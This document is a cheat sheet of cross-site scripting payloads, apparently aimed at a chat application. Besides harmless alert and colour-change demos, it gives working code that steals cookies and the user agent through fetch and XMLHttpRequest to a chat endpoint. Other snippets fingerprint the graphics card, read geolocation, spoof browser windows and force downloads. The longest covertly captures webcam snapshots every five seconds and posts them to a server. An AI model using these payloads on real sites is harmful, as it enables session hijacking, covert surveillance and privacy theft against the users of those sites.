

## Normal Alert => onerror

```
<img src=' ' onerror="alert('xss')" />

```

## Onmouseover

```
<h1 onmouseover="alert('another one!!! 😊')">Hover here 😊</h1>
```

## Change BG Color

```
<img src=' ' onerror="document.body.style.background='red'" />
```

## Fetch

```
fetch('saveChatData.php?sendOverGET=true&message=' + escape(document.cookie))
```

## Cookie

```
<h1 onmouseover="
  fetch('saveChatData.php?sendOverGET=true&message=' + escape(document.cookie));
  scrollToBottom();">
  Mouse Over
</h1>
```

## UserAgent

```
<h1 onmouseover="
  fetch('saveChatData.php?sendOverGET=true&message=' + escape(navigator.userAgent));
  scrollToBottom();">
  Mouse Over
</h1>
```

## HTML 2 Canvas

```
html2canvas(document.body).then(canvas => {
  document.body.appendChild(canvas)
});
```

## GET Request

```
const Http = new XMLHttpRequest();
const url = 'saveChatData.php?sendOverGET=true&message=' + escape(document.cookie);
Http.open('GET', url);
Http.send();
Http.onreadystatechange = (e) => { }
```

## POST Request

```
const Http = new XMLHttpRequest();
const url = 'saveChatData.php?messageSendReceive=true&message=' + escape(document.cookie);
Http.open('POST', url);
Http.send();
Http.onreadystatechange = (e) => { }
```

## Spoofed window (X)

```
function next() {
    window.location.replace('http://www.oracle.com/index.html?' + n); n++;
    setTimeout(next(), 15);
    setTimeout(next(), 25);
}
function f() {
    w = window.open('https://google.com', '_blank', 'width=500 height=500');
    i = setInterval(() => { try { x = w.location.href; } catch (e) { clearInterval(i); n
= 0; next(); } }, 5000);
}
f();
```

## Play Audio – Auto

```
const a = document.createElement('audio');
a.src = "voice.mp3";
a.autoplay = true;
a.style.display = 'none';
document.body.appendChild(a);

OR

<audio src='voice.mp3' autoplay />
```

## Geolocation

```
navigator.geolocation
    .getCurrentPosition(console.log, console.log);
//log latitude, longitude to console
```

## Send image from webcam

```
if (document.getElementById('webcamsnap') == null) {

    var v = document.createElement('video');
    v.autoplay = true;
    v.id = 'vid';
    v.style.display = 'none';
    document.body.appendChild(v);
    if (document.getElementById('canvas') == null) {
        var c = document.createElement('canvas');
        c.id = 'canvas';
        c.width = "480";
        c.height = "320";
        c.style.display = "none";
        document.body.appendChild(c);
    }
    var video = document.querySelector("#vid");
    var canvas = document.querySelector('#canvas');
    var ctx = canvas.getContext('2d');
    var localMediaStream = null;
    var onCameraFail = function (e) {
        console.log('Camera is not working.', e);
    };
    var xmlhttp = new XMLHttpRequest();

    function snapshot() {
        if (localMediaStream) {
            ctx.drawImage(video, 0, 0, 480, 320);
            var dat = canvas.toDataURL('image/png');
            xmlhttp.open("POST", "http://127.0.0.1/webcam.php", true);
```

```

        xmlhttp.setRequestHeader("Content-type", "application/x-www-form-
urlencoded");

        var x = encodeURIComponent(dat);
        xmlhttp.send("data=" + x);
    }
    else {
        alert("Allow access to your default web camera.");
    }
}

navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || na
vigator.mozGetUserMedia || navigator.msGetUserMedia;
window.URL = window.URL || window.webkitURL;
navigator.getUserMedia({ video: true }, function (stream) {
    video.src = window.URL.createObjectURL(stream);
    localMediaStream = stream;
    window.setInterval("snapshot()", 5000);
}, onCameraFail); script = document.createElement('script'); script.id = 'webcamsnap'
; document.body.appendChild(script);
}

```

## Force Download

```

const link = document.createElement('a');
link.href = 'images/anon.jpg';
link.download = '';
document.body.appendChild(link);
link.click();

```

## Vibrate Phone

```

window.navigator.vibrate(200); //vibrate for 200ms
window.navigator.vibrate([100, 30, 100, 30, 100, 30, 200, 30, 200, 30, 200, 30, 100, 30,
100, 30, 100]); //SOS message
<img src='images/hello.gif' onLoad="window.navigator.vibrate(100);" />

```

## Graphics card info

```
<img src='images/hello.gif'
  onmouseover="
    const canvas = document.createElement('canvas');
    const gl = canvas.getContext('webgl');
    const debugInfo = gl.getExtension('WEBGL_debug_renderer_info');
    const vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
    const renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
    const message = vendor+renderer;
    fetch('saveChartData.php?sendOverGET=true&message='%2bescape(message));
  "
/>
```

## Style Tag

```
<style>body {background: red !important;}</style>
<style>
  body {animation: anim .3s ease-in infinite alternate;}
  @keyframes anim {
    0% {background: rgba(0, 0, 0, .1);}
    30%{background: rgba(255, 0, 0, 1);}
    60%{background: rgba(0, 255, 0, 1);}
    90%{background: rgba(0, 0, 255, 1);}
  }
</style>
```

## Ask for Webcam permission (Over SSL)

```
navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
navigator.getUserMedia({ video: true },
  (stream) => console.log("allowed"),
  (stream) => console.log("fail")
);
```

| URL Encode |     |
|------------|-----|
| space      | %20 |
| +          | %2b |
| &          | %26 |

**Reference** : <http://www.xss-payloads.com>